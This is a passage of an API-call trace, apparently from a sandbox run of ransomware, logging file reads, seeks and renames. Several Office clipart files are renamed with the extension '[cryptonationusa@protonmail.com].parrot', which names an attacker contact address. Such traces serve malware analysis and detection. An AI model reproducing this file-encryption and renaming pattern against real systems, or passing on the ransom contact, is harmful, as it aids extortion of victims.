lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.581] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.581] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16ee, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x16ee, lpOverlapped=0x0) returned 1 [0152.582] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.583] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00783_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00783_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0152.587] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.587] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.588] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.589] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x41c2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x41c2, lpOverlapped=0x0) returned 1 [0152.589] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.590] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.592] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0152.593] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.593] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.595] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.595] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x28ae, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x28ae, lpOverlapped=0x0) returned 1 [0152.596] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.596] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.598] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.598] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0152.599] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.599] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.601] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.601] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x36da, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x36da, lpOverlapped=0x0) returned 1 [0152.601] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.602] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.603] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.603] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.603] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0152.606] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.606] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.607] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.607] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3fe8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3fe8, lpOverlapped=0x0) returned 1 [0152.608] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.609] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.610] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.610] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.610] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0152.612] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.612] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.614] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.614] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1898, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1898, lpOverlapped=0x0) returned 1 [0152.615] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.615] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.616] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.616] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.616] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0152.618] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.618] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.621] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.621] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x29f8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x29f8, lpOverlapped=0x0) returned 1 [0152.623] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.623] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0152.627] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.627] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.629] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.629] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x28b4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x28b4, lpOverlapped=0x0) returned 1 [0152.629] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.630] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.631] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.631] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.631] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0152.633] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.633] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.634] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.634] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b0c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1b0c, lpOverlapped=0x0) returned 1 [0152.635] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.635] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.637] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.637] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.637] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0152.638] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.638] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.640] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.640] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1bf8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1bf8, lpOverlapped=0x0) returned 1 [0152.642] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.643] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.644] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.644] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.644] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0152.646] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.646] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.647] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.647] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1270, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1270, lpOverlapped=0x0) returned 1 [0152.648] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.648] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.649] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.649] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.649] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0152.651] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.651] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.652] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.653] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x25ac, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x25ac, lpOverlapped=0x0) returned 1 [0152.653] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.654] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00917_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00917_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0152.658] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.658] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.660] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.660] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f5c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1f5c, lpOverlapped=0x0) returned 1 [0152.660] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.661] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00918_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00918_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0152.666] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.666] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.667] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.668] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2944, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2944, lpOverlapped=0x0) returned 1 [0152.669] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.669] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00935_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00935_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.671] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.671] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.671] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0152.673] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.673] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.674] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.674] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1960, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1960, lpOverlapped=0x0) returned 1 [0152.675] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.675] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00938_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00938_.WMF.[cryptonationusa@protonmail.com].parrot" 